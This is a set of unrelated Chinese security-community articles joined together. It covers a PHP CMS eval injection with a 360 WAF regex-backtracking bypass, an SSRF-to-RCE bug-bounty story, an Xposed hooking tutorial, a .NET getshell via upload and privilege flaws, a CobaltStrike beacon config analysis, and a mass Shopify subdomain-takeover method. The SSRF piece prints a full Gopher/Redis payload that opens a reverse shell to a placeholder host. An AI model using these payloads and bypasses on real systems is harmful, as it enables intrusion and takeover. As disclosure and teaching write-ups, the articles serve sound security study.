@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
...
}
...
该函数首先对`$this->H`进行了判断，是否含有`{if-`，而`$this->H`在`vod.php`已经定义如下：
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
该模板的应用内容在`inc/common/template.php`中控制，跟踪发现即是 wd 参数控制。
回到`template.php`的`ifex()`函数，发现
preg_match_all($labelRule,$this->H,$iar);
该正则的主要作用是匹配出提取出来的wd参数，然后后面就是一系列的循环和判断，最终执行了 eval。
由于限制最少，所以我们选择最后一个 eval 去执行，要执行前，需要满足的条件如下：
* `$this-H`中必须有`{if-` \----> wd参数中带有`{if-`即可
* 满足正则：`{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}`
* 不满足if 判断：`strpos(",".$strThen,$labelRule2)>0`
* 不满足If判断：`strpos(",".$strThen,$labelRule3)>0`
这样一来就可以进入我们想要的eval 执行语句：
eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
综上，payload 如下即可满足：
{if-A:phpinfo()}{endif-A}
## 0x04 漏洞复现
如上所述，完整的利用链已经形成了。
首先通过正则回溯来绕过360 waf，然后通过可控参数 wd 传入我们的 payload，payload 传入`$this-H`，然后绕过判断传入 eval
中执行。
如下图，如果我们不采用正则回溯的方法，那么会被拦截：
采用正则回溯，则会绕过360waf：
由于环境的问题，我这里测试 80W 字符不够，800W 也不够，于是设置了 1000W，成功绕过。
测试的时候，在 PHP 7.0 的版本下可能会出现以下问题，导致不能利用此漏洞：
或者
另外这个漏洞只能是非默认模板才可以，如下：
默认模板执行到这里直接退出了，不会再往下执行到eval
## 0x05 参考
<https://www.php.net/pcre/>
<https://www.php.net/manual/zh/pcre.configuration.php>
<http://www.laruence.com/2010/06/08/1579.html>
<https://www.jqhtml.com/45531.html>
<https://blog.csdn.net/iteye_18591/article/details/82204352>
<https://www.cnblogs.com/test404/p/7397755.html>
<https://www.cnblogs.com/Chary/p/No0000100.html>
<https://www.t00ls.net/viewthread.php?tid=54216>
<https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html> | 社区文章 |
## **一 前言**
发现此漏洞的漏洞赏金计划不允许公开披露，因此我不会直接使用涉及的系统名称。该项目是发布在Hackerone时间最长漏洞奖金最大的项目之一,
Hackerone上有很多关于该项目的黑客事件。这是一家很强大的公司，拥有世界一流的安全团队并且多年来有大量安全专家对这家公司进行测试，这使该漏洞的存在更加令人惊讶。
## **二 侦查**
一般来说，对于一个大范围的漏洞赏金项目，我会进行子域名枚举来增加攻击面，但在本例中，我专注于单一的web目标系统。因为我只关注一个web应用程序，所以我首先使用GAU(<https://github.com/lc/gau>)
工具获取url和参数列表。我还查看了各种javascript文件中隐藏的参数，并使用Ffuf(<https://github.com/ffuf/ffuf>)
工具进行了一些目录模糊处理。通过这些方法，我发现了一些有趣的参数，但没有发现什么脆弱点。
由于第一种侦查方法没有发现任何问题，因此我尝试了另一种方法。在后台运行Burp代理测试Web应用程序的各种功能，发出的所有请求都存储在Burp中，这使我可以轻松查看所有请求中是否有有趣或潜在的漏洞。在测试了Web应用程序的功能之后，我开始浏览存储在代理日志中的请求，并遇到了类似于以下的请求
GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com
...
带有url参数的GET请求。此请求的响应如下所示，其中包含有关URL的标题和徽标的信息:
{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}
该请求立即引起了我的兴趣，因为它正在返回有关URL的一些数据。每当您遇到从URL返回信息的请求时，最好测试一下SSRF。
## **三 发现SSRF**
我第一次尝试SSRF失败，我能够与服务器进行外部交互，但由于受到了适当的保护，因此无法访问任何内部IP地址。
在无法访问任何内部IP地址之后，我决定查看是否可以访问该公司的任何公众已知的公司子域。我为目标做了一些子域枚举，然后对所有枚举的子域名进行尝试。最终，我很幸运，发现一些无法公开访问的站点返回了标题数据等信息。
举一个子域名(somecorpsite.example.com)的例子:当我尝试<http://somecorpsite.example.com>
在浏览器中访问时，该请求超时。但当我提交请求时:
GET /xxx/logoGrabber?url=http://somecorpsite.example.com
Host: site.example.com
...
响应包含内部标题和徽标信息:
{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.example.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.example.com/logos/logo.png"}}
现在，我可以通过访问内部子域来访问该域名的标题和徽标，因此我决定以盲SSRF提交报告。内部标题信息没有太敏感的内容，也没有返回其他页面内容，因此我认为这将被认为是影响力很小的盲SSRF，但是我没有想法将其升级，并决定按现状报告。一段时间后，该报告被接受并进行了分类。
## **四 RCE**
自从我的原始报告进行分类以来，已经过去了大约一个月。我对它进行了分类感到很兴奋，但是知道影响很小，而且我可能不会从中得到很多赏金。SSRF仍然存在尚未修复，因此我决定进行更多研究以尝试进一步升级。在研究过程中，我了解到Gopher协议是升级SSRF的绝佳方法，在某些情况下可以导致完全远程执行代码。为了测试是否支持gopher协议，我提交了类似于以下内容的请求:
GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com
...
不幸的是，请求立即失败并导致服务器错误。没有向我的Burp发出任何请求，因此好像不支持gopher协议。在继续测试的同时，我在线阅读了重定向通常是绕过某些SSRF保护的一种好方法，因此我决定测试服务器是否遵循重定向。为了测试重定向是否有效，我设置了一个Python
http服务器，该服务器将所有GET流量都重定向到了Burp中的url。
python3 302redirect.py port “http://mycollaboratorurl/”
然后我提交了如下请求，以查看重定向是否到了我的Burp中:
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...
在提交请求后，我注意到重定向被跟踪，请求了我Burp中的url。所以现在我已经验证了重定向被跟踪了。现在我知道可以重定向了，我决定用gopher协议测试它。最初在请求中提交gopher负载会直接导致服务器错误，因此我将重定向服务器。设置如下以测试gopher是否可以通过重定向工作:
python3 302redirect.py port “gopher://mycollaboratorurl/”
然后再次提交请求
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...
令我惊讶的是，它是成功的。重定向后在我的Burp中得到了一个请求。有一些针对Gopher协议的过滤器，但是如果我从自己的服务器重定向，它就会绕过过滤，重定向之后Gopher执行有效负载！gopher的有效负载可以通过302重定向执行,而且我意识到使用gopher我现在还可以访问以前过滤过的内部IP地址，比如127.0.0.1。
既然Gopher的有效载荷可以工作，并且可以攻击内部主机，我就必须弄清楚我可以与哪些服务交互，以便升级。在做了一些搜索之后，我发现了一个工具Gopherus(<https://github.com/tarunkant/Gopherus)，>
它生成gopher有效载荷来升级SSRF。它包含以下服务的有效负载：
MySQL (Port-3306)
FastCGI (Port-9000)
Memcached (Port-11211)
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)
为了确定上面的端口是否在127.0.0.1上打开，我使用SSRF进行端口扫描。通过302将我的网络服务器重定向到gopher://127.0.0.1:port，
然后提交请求
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...
我可以识别打开的端口，因为如果端口关闭，请求的响应时间会很长；如果端口打开，请求的响应时间会很短。使用这种端口扫描方法，我检查了上述所有6个端口。一个端口似乎是开放的-端口6379（Redis）
302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
etc…
现在一切看起来都很好。我好像拥有了我所需要的一切：
302重定向接受Gopher协议
能够用gopher有效载荷攻击localhost
已识别在本地主机上运行的潜在易受攻击的服务
使用Gopherus，我生成了一个Redis反向shell负载，结果如下所示：
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
如果这个有效负载执行成功，它将使netcat侦听器获得反向shell。我启动服务器302重定向到gopher负载，如下所示:
python3 302redirect.py port
"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
我启动了我的web服务器，我还启动了Netcat侦听器,端口1337，以捕获任何传入的反向shell。然后最后是关键时刻,我提交了请求:
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...
什么都没有,什么都没发生。我看到一个请求到达我的重定向服务器，但是没有反向shell返回到我的netcat。就这样结束了，我想，对我来说没什么。我觉得我的端口扫描结果可能是假的，可能本地主机上没有运行Redis服务器。我接受了失败，开始关闭一切。我把鼠标放在运行netcat的终端上的X按钮上，打算几毫秒后点击关闭它，突然我真的不知道为什么这么晚，但大约5分钟后，我收到了一个反向shell。我很高兴我一直在监听，否则我永远不会知道我得到了RCE
我运行whoami来验证我有RCE（我是root！），然后立即断开连接并用新信息更新了我的原始报告。该漏洞于2020年5月发现/报告，目前已解决。我最终得到了15000美元的赏金，以及公司安全团队的一些赞美：
原文链接:
<https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530> | 社区文章 |
### 为什么有这文章？
前段时间用到点系统底层框架去HOOK安卓在JAVA层的流程函数，期间目标函数参数有简单类型也有复杂的数组参数，着实为HOOK时的传参头疼过一把，加上有个朋友之前也在某群问过相关的问题就组合当时网友给的提示自己来实现一次这个过程，顺便介绍下该框架插件的基本开发姿势，同时希望也可以为广大HOOK友们提供一点解决问题的根本办法。
### 需要些什么工具？具备些什么基本安卓开发知识？
上面说过用成熟的框架，现在在安卓上好用的扩展性框架不过两种：Xposed跟Cydia，由于本人只用过XPOSED框架所以在这篇文章中就用Xposed来给大家介绍使用，开发知识方面只要有基本的安卓经验皆可胜任，并没有什么技术含量。
### 怎么做？
一、HOOK 三要素：类对象、函数名、参数列表的获取。
二、构建XPOSED框架插件、编码完成测试。
这其中难点有两个，一个就是Xposed插件没开发过，网上的一些教程文章没有写得太详细，一些个小细节没有被重点提及导致一个小问题都要查找无数的资料，甚至还找不到问题所在，另一个就是网上示例都太过简单化，一般都用int\sting这种基本类型作为Demo，然而实际使用中难免会碰到一些稀奇古怪的函数参数，而没有经验的我们只能乱写一通，到最后只能不了了之，现在我想通过由浅入深的方式来记录下插件的开发过程，希望能为遇到这种情况的朋友们提供点小帮助吧。
### 动手：
一、HOOK JAVA层函数的三要素获取：
这其中目标类对象、函数名相信大家要拿到没有难度，问题的重点就在于函数的参数列表，在介绍插件开发步骤前，先来看看我们首要目标类及函数参数情况，截图如下：
目标类路径为： **aqcxbom.xposedhooktarget;**
函数名为： **helloWorld**
参数表： **int,string**
[
在 **xposedhooktarget** 的 **onCreate方法** 中调用输出
[
当前未hook前输出log前后如下：
[
我们要实现的目标是分别在前后调用输出入咱自己的日志信息，如下面两箭头所指：
[
### 二、插件开发步骤
好，明确了我们初步的目标后，现在咱来看看XPOSED框架插件开发步骤：
1. 以 **provided 模式** 导入 lib 文件 XposedBridgeApi-54.jar（不参与编译到最终文件中）且用AS开发的你 **千万不要将其放在libs目录** 中，否则你会发现你的插件安装上却一直没有运行起来的尴尬情况（ **大坑一** ）。
2. 在AndroidManifest.xml中添加框架信息。
<application>
<meta-data android:name="xposedmodule" android:value="true"/>
<meta-data android:name="xposeddescription" android:value="这里填写模块说明信息"/>
<meta-data android:name="xposedminversion" android:value="30"/>
</application>
xposedminversion这一项非常重要，必须与JAR内版本一致，否则模块不能运行。(大坑二)
你可以用RAR等压缩工具打开XposedBridgeApi-XX.jar包，在assets\version文件中包含了该包的版本号，这个版本号正常情况下会与jar包名内的版本保持一致。
1. 编写响应类并实现类`IXposedHookLoadPackage`接口`handleLoadPackage`函数方法：
在`handleLoadPackage`函数的`findAndHookMethod`方法我们要提供HOOK目标的信息，参数为(类全路径,当前的`CLASSLOADER`，`HOOK`的函数名，参数1类类型...参数N类类型,`XC_MethodHook`的回调)，具体代码如下：
package aqcxbom.myxposed;
import android.util.Log;
import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XposedHelpers;
import de.robv.android.xposed.callbacks.XC_LoadPackage;
/**
* Created by AqCxBoM on 2016/12/24.
*/
//实现该类方法的类在注册为Xposed插件后会被框架自动调用
public class XposedMain implements IXposedHookLoadPackage
{
public String TAG = "AqCxBoM" ;
private final String mStrPackageName = "aqcxbom.xposedhooktarget"; //HOOK APP目标的包名
private final String mStrClassPath = "aqcxbom.xposedhooktarget.MyClass"; //HOOK 目标类全路径
private final String helloworld = "helloWorld"; //HOOK 目标函数名
private void LOGI(String ct){ Log.d(TAG, ct); }
@Override
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {
//对比此时加载的包名是否与目标包名一致
if (loadPackageParam.packageName.equals(mStrPackageName)) {
LOGI("found target: " + loadPackageParam.packageName);
// findAndHookMethod方法用于查找匹配HOOK的函数方法，这里参数为HOOK的目标信息
XposedHelpers.findAndHookMethod(mStrClassPath, //类全路径
loadPackageParam.classLoader, //ClassLoader
helloworld, //HOOK目标函数名
int.class, //参数1类型
String.class, //参数2类型（这里目标函数有多少个参数就多少个，与HOOK目标函数保持一致）
new XC_MethodHook() { //最后一个参数为一个回调CALLBACK
@Override //故名思意，这个函数会在目标函数被调用前被调用
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
LOGI("beforeHook");
}
@Override//这个函数会在目标函数被调用后被调用
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
LOGI("afterHooke param: ");
}
});
}
}
}
1. 将响应类添加到框架启动文件
新建assests 文件夹，并在其中新建 xposed_init 文件，写入插件入口类的信息
aqcxbom.myxposed.XposedMain
1. 安装我们的插件 **设置启用** ，并在 **机器重启后** 插件生效，这时运行我们的Target目标，如无意外就能见到类似如下的日志输出。（注意插件的启用要到Xposed框架的模块中勾选启用）
[
=============================我是墙裂的分割线================================================================
### 进阶篇
对于上面的函数参数为基本数据类型（INT\STRING）我们都能快速搞定,但如果函数的参数如果是数组、Map、ArrayList这种复杂类型大家是不是就瞬间懵逼了呢，下面我们就来假设有如下这个情况：
我们的目标MyClass类的fun1函数，先看一下参数原型声明：
public static boolean fun1(String[][] strAry, Map mp1, Map<String,String> mp2, Map<Integer, String> mp3,
ArrayList<String> al1, ArrayList<Integer> al2, ArgClass ac)
摆在我们面前的问题是这个参数该怎么写？
这个问题让我来解决的话，我会想让安卓APP告诉我该怎么写，所以用反射调用的方式(具体的调用方式可以查看示例（
**XposedHookTarget的ShowDeclaredMethods方法** )打印出这个函数的参数列表输出如下：
([[Ljava/lang/String;Ljava/util/Map;Ljava/util/Map;Ljava/util/Map;Ljava/util/ArrayList;Ljava/util/ArrayList;Laqcxbom/xposedhooktarget/ArgClass;)
这一看很清晰嘛，总结如下：
String[][] ==> [[Ljava/lang/String;
Map数组不论何种形式 ==> Ljava/util/Map;
ArrayList 无论何种形式 ==> Ljava/util/ArrayList;
ArgClass ac 自定义类给个全路径的事==> Laqcxbom/xposedhooktarget/ArgClass;
但实际上并不是这么一回事， **各种类找不到（Ljava/util/ArrayList; Ljava/util/Map;
Laqcxbom/xposedhooktarget/ArgClass;** ）
那么正确的姿势该怎么呢？答案是通过上面找到的类路径，用Xposed自身提供的XposedHelpers的findClass方法加载每一个类，然后再将得到的类传递给hook函数作参数！
示例代码如下：
package aqcxbom.myxposed;
import android.util.Log;
import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XposedHelpers;
import de.robv.android.xposed.callbacks.XC_LoadPackage;
/**
* Created by AqCxBoM on 2016/12/24.
*/
public class XposedMain implements IXposedHookLoadPackage
{
public String TAG = "AqCxBoM" ;
private final String mStrPackageName = "aqcxbom.xposedhooktarget"; //HOOK APP目标的包名
private final String mStrClassPath = "aqcxbom.xposedhooktarget.MyClass"; //HOOK 目标类全路径
private final String mStrMethodName = "fun1"; //HOOK 目标函数名
private void LOGI(String ct){ Log.d(TAG, ct); }
@Override
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {
//判断包名是否一致
if (loadPackageParam.packageName.equals(mStrPackageName)) {
LOGI("found target: " + loadPackageParam.packageName);
final Class<?> ArgClass= XposedHelpers.findClass("aqcxbom.xposedhooktarget.ArgClass", loadPackageParam.classLoader);
final Class<?> ArrayList= XposedHelpers.findClass("java.util.ArrayList", loadPackageParam.classLoader);
final Class<?> Map= XposedHelpers.findClass("java.util.Map", loadPackageParam.classLoader);
//包名一致时查找是否有匹配参数的类及函数
XposedHelpers.findAndHookMethod(mStrClassPath, //类路径
loadPackageParam.classLoader, //ClassLoader
mStrMethodName, //目标函数名
"[[Ljava.lang.String;", //参数1
Map, //参数2
Map, //参数3
Map, //参数4
ArrayList, //参数5
ArrayList, //参数6
ArgClass, //参数7
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param); //这个函数会在被hook的函数执行前执行
LOGI("beforeHook");
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);//这个函数会在被hook的函数执行后执行
LOGI("afterHooke param: ");
}
});
}
}
}
编译安装，重启并运行我们的target程序得到HOOK成功的效果图
[
至此，我想就算遇到再复杂的参数类型，朋友们都能游刃有余地解决了吧，如果答案是肯定的，那我这篇文件就算是达到目的了。
涉及到的源代码可以在我github上找到，有需要的朋友可以自行下载：
<https://github.com/FuhuiLiu/XposedHookTarget.git>
<https://github.com/FuhuiLiu/MyXposed.git>
PS：如果有需求想让被hook函数不执行的话可以在执行前使用 setResult(NULL)函数终止其在后续执行。
其它Xposed插件使用未详尽说明处请移步Xpose官网察看，这里就不再展开细述了。
在这里非常感谢我北京一个亦师亦友的哥们提供的资料及其零日安全论坛及团队所出品的安卓零基础逆向教材，正是有他们的引领我才能顺利开启Xposed插件开发的大门，同时也感谢网上热心网友提供的真知灼见，所查资料太多，并没有详细记录为此篇小文所翻阅的网文，只能列出一二以表谢意：
<http://www.freebuf.com/articles/terminal/56453.html>
[http://bbs.pediy.com/showthread.php?t=202147&page=2](http://bbs.pediy.com/showthread.php?t=202147&page=2)
尤其是网友jzfcf提供的查找类对象并传参到hook函数的方法，非常的赞。 | 社区文章 |
## 前言
最近在测试某src的时候。发现了某个站点存在源码泄露，xxx.com/www.zip可直接下载源码。通过分析该站点源码以及加上一些黑盒测试，最后成功getshell该站点。
## 过程
当拿到源码的时候首先看了一下该源码的结构，如图所示：
一看就是.net源码。话不多说，开始反编译代码。我这里使用DNSPY进行反编译。反编译后查看其架构，是mvc。
然后找到控制器代码。如图所示：
剩下的就是逐步看代码。首先找到了一处上传：
用户注册登录进去后，构造上传包进行上传，但是服务器却抛出错误了，此处代码不可利用。继续找。
然后又发现一处代码，如下图所示：
该处代码判断文件类型的时候有一个很明显的缺点，它取文件类型的时候是取的是
base.Request.Headers["X-File-Type"]
而取后缀的时候是这个
ase.Request.Headers["X-File-Extension"]
该段代码只是简单的判断了一下X-File-Type的值而已，对后缀并没有进行判断，因此确定该处存在任意文件上传。
确定有机会getshell了后，开始构造上传报文，但是回显如下：
然后细心排查了一下，发现是因为自己没有访问该控制器的权限导致的，该控制器声明了权限：
而我们注册用户的权限是没有的。那么现在要么找到一个越权漏洞，要么就找个注入获取高权限用户的密码信息。
不出意外的在UserController里面找到了如下这样的代码：
很明显这个函数的sel参数是存在注入的。但是由于该代码使用的ServiceStack框架，我一直找不到该框架反编译后的Service的信息（
**有大佬知道的请告诉我** ）。但是没有具体的Service的逻辑关系也不大，只要知道这个地方有注入就OK了。然后开始试着注入：
OK，注入确实存在。试着注入出数据的时候发现有问题了：
发现使用select的时候被拦截了，找一下拦截点。
在ServiceStack.OrmLite.OrmLiteUtils中有这样的检测：
然后这个IllegalSqlFragmentTokens的内容如下：
好吧.有框架的防注入，应该是不行了。那么就只有找越权的点了，找了很久，发现了如下代码：
这个函数是用来更新用户的，该入口在普通用户也是看不到的，应该是提供给管理员操作的，毕竟管理员这种才可以新建用户和更新已有用户信息。但是该函数并没有做权限的控制，普通用户可以直接构造报文访问该函数。因此我试着更新id为1的用户的邮箱为我自己的邮箱，因为id为1的用户大概率是管理员用户，更改该用户的邮箱后，然后通过找回密码功能即可将重置链接发送至我邮箱进行密码重置。
如下图：
修改完毕后就可以直接通过找回密码功能重置密码，如下图所示。
然后重设密码登陆后果然是管理员权限，构造最开始的上传报文即可Getshell(上传asp文件会被删掉，所以更改了下后缀名大小写绕过)。
访问之后成功解析。如下图。 | 社区文章 |
在上一篇文章中完成了 Stageless Beacon 生成的分析，接下来就是对 Beacon 的分析了，在分析上线之前先将 C2Profile
的解析理清楚，因为 Beacon 中大量的内容都是由 C2Profile 决定的。
而且，目前 C2Profile 也是被作为检测 CobaltStrike 的一种手段，只有在理解了它的实现原理，才能真正明白检测原理和绕过方法。
# 0x01 Controller 端分析
直接跟到 beacon/BeaconPayload.java，看 exportBeaconStage 方法
对于前面值的获取暂时不管，直接看重点，是如何添加的，因为最后是直接把 settings 转 byte 数组，然后混淆后 Patch 的，所以就重点看一下
settings 都干了什么事
看一眼 settings 的设置，可以很明显的发现四个方法 addShort、addInt、addString、addData
但是可以发现 addString 根本上调用的就是 addData，所以重点就是 addShort、addInt、addData 三个方法
再回头看一下前面在调用时候的情况，后面的参数是需要添加进去的内容、长度，但在第一个参数位置还有一些不明白含义的数字，这个序号是在 Beacon 端解析
C2Profile 的时候需要用到的，在后面来进行解释。
在分析这三个关键方法的时候，还有三个 final 类型的值需要注意一下，到这里也就可以猜个八九不离十了，C2Profile
一定是用某个字节的值来表示数据类型，然后将对应的数据存储在后面
所以来整体看一下这三个方法，首先将序号添加进来；接着 addShort 添加了 1，addInt 添加了 2，addData 添加了
3，这刚好就是上面所定义的几个值；然后 addShort 添加了 2，addInt 添加了 4，addData 添加了
长度值，所以推测，这个位置应该是后面数据的长度；最后他们都将数据添加在了后面
所以整体的结构应该是
# 0x02 Beacon 端分析
在理 C2Profile 的时候，顺便把解析前的一些内容一起分析一下，在之前分析 Beacon 生成的时候，已经分析过了，实际执行的 Beacon 是由一个
Loader 加载执行的，所以在实际运行的时候，运行的是 Loader，我们在 CreateThread 下断，然后在线程函数中下断也就跟到了熟悉的 PE
头，这里也就是之前说的引导头
首先，它通过计算偏移的方式调用了 ReflectiveLoad
跟进去后，可以发现 ReflectiveLoad 最后调用 DLLMain 的时候传递的 fdwReason 为 1，同时在 return 的时候，也将
DLLMain 的地址 return 回来了
继续往下跟，可以发现它再次调用了 DLLMain，并且传递的 fdwReason 为 4
接下来就该分析真正核心的 beacon.dll 在 DLLMain 中干了什么事，经过分析发现，当 fdwReason 为 1 时，实际执行的是解析
C2Profile 的操作，当 fdwReason 为 4 时，才是真正的功能执行，很明显，这里我们更关心的是解析 C2Profile 的操作
跟进分析，先申请了一片 0x800 的内存用于存储，接着有一个很明显的操作，将一片内存异或，这些都与之前分析生成时候的逻辑一致
AAAABBBBCCCCDDDD 的内存特征
4096 的内存大小
0x2E 的异或操作
接着设置了一个结构体，将 C2Profile 的地址存两份，将其大小也存两份，这个结构体在后面解析的时候会用到
之后就是循环解析，并在最后的时候将这片区域抹零
首先在最开始的时候取了 Short 类型，并且这个函数也是结束解析的关键，首先判断一下结构当中的 Size，如果小于 2，直接 return
0，也就是说所有的都解析完了，这个 0 也就刚好在外层结束了整个解析的流程
转换字节序，取两个字节，这个值也就是之前所说的 index，然后将位置偏移加二，总大小减二，返回 index
然后按照刚才的逻辑可以取出 type 和 size
接着将 index*16，并将 type 存储到对应的位置，到这里 index
的作用也就明确了，是用来指定存储的偏移位置的，这样做就相当于内存对齐一样，在查找的时候是非常方便的
接着便是根据 type 类型来决定执行操作了
获取 Short 与 Int 的都是一样的，就不细说了，重点说一下 Ptr 类型的
先根据 size 申请了一片内存空间，并将地址存储在了对应的位置上，然后去解析
如果剩余大小小于 Ptr 要取的大小，说明有问题，直接
return；然后与之前一样，将所存储的这个结构体的位置偏移后移，将大小进行对应的减小，最后将数据的地址 return 回来
最后使用内存拷贝的方式将数据拷到所申请的内存当中
所以最终在 Beacon 中所使用的样子是这样的
# 0x03 展示图
所以 Controller Patch 到 Beacon 中的 C2Profile 与 Beacon 在运行时所使用的 C2Profile 长的并不是一样的
Controller
Beacon
[文章首发于公众号平台](https://mp.weixin.qq.com/s/KLAG_8jafwEurVzk7Qz26A) | 社区文章 |
# 看我如何接管55000个子域名
|
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/@thebuckhacker/how-to-do-55-000-subdomain-takeover-in-a-blink-of-an-eye-a94954c3fc75>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
本文介绍了我们识别Shopify平台上的子域名接管漏洞的具体过程，该漏洞影响超过55,000个子域名。
首先我们得澄清一下，这个问题并不仅限于Shopify平台，对其他常见的云服务提供商来说也很常见。在过去几周/几天内，我们联系了几个不同的云服务提供商来解决这个问题，我们对Shopify的安全运维小伙伴们印象很好：他们响应快速、对问题高度负责并且沟通起来非常顺畅。非常感谢他们，因为他们知道如何与网络安全研究社区保持良好的沟通。
先来介绍一下Shopify，维基百科上的描述如下图所示。
简而言之，Shopify是一个云服务提供商，允许用户以非常简单的方式创建电子商务网站。
如果大家对Shopify上的子域名接管漏洞比较熟悉，可以直接跳到本文末尾，了解如何大规模利用这个漏洞。
## 二、Shopify子域名接管漏洞
在漏洞奖励计划或者渗透测试过程中，如果我们遇到如下两个网页，则表明目标可能存在子域名接管漏洞。
接下来看一下如何确定漏洞是否存在。
首先，我们可以使用如下两类DNS记录来接管Shopify上的子域名：
1、使用应用名进行映射（CNAMES指向`myshopname.myshopify.com`）；
2、使用DNS进行映射（CNAMES指向`shops.myshopify.com`）。
可能还有其他方法（比如历史遗留域名），后续我们会进一步研究这些方法。
### 案例1：使用应用名进行映射
在这个例子中，我们为`shop.buckhacker.com`设置了一个CNAME记录，指向`buckhacker.shopify.com`：
现在如果Shopify上不存在`buckhacker`这个商店名称，我们就可以声明该名称来接管子域名。
那么如何判断某个商店名是否已存在？
在账户注册阶段，我们必须选择一个商店名。如果我们利用如下页面，很容易就能知道商店名是否可用：
如果我们使用Burp来观察，可以看到浏览器会发起一个REST API请求，并且会收到两种类型的响应：
**1 商店名不可用时的响应为：**
({“status”:”unavailable”,”message”:null,”host”:”buckhacker.myshopify.com”})
**2 商店名可用时的响应为：**
({“status”:”available”,”message”:null,”host”:”buckhacker2.myshopify.com”})
我们可以开发一个脚本来判断某个域名是否可用，为节省大家时间，这里我们直接在[GitHub](https://github.com/buckhacker/SubDomainTakeoverTools)上公开了这个脚本。
此时如果我们发现商店名可用，那么只需在Shopify网站中连接（connect）该名字即可，来看看具体步骤。
登录Shopify网站后，在左侧菜单处依次选择“Online Store”以及“Domains”：
接下来点击“Connect existing domain”（连接已有域名）：
在下一个表单处填入存在漏洞的域名：
点击“Next”，然后点击“Verify Connection”。
现在如果上述步骤操作正确，我们会被重定向到如下页面：
此时我们已成功接管子域名。
这种情况寻找起来比较麻烦，因为我们需要在账户创建过程中选择目标商店名。因此，为了使该名字可用，用户需要删除整个账户或者改变账户设置。在调查过程中，我们发现2%的网站存在这种错误配置情况。
### 案例2：使用DNS进行映射
在第二种案例中，子域名为指向`shops.myshopify.com`的一个CNAME。
我们创建的域名如下图所示：
这是Shopify上最常见的子域名接管场景。在这种情况下，我们基本上可以创建具有任意名称的商店，只需要按照上文所述在Shopify网站中进行连接即可。
接管过程的部分截图如下：
验证结果如下图所示：
也可以通过如下界面验证接管结果：
## 三、大规模利用
我们在之前一些文章中已经介绍过如何使用Sonar以及FDNS数据集来识别漏洞。
FDNS数据集中包含CNAMES记录。基本上我们要做的就是在这个数据集中寻找CNAME指向`shop.myshopify.com`或者`myshopname.shopify.com`的子域名，然后检查是否可以接管子域名即可。
我们只需要使用前文提到的脚本，用一行命令就可以完成这个任务：
zcat $FDNS_DATASET | strings | grep shopify.com | cut -d “”” -f 8 | grep -v “shopify.com” | while read subdomain; do python3 ShopifySubdomainTakeoverCheck.py $subdomain; done
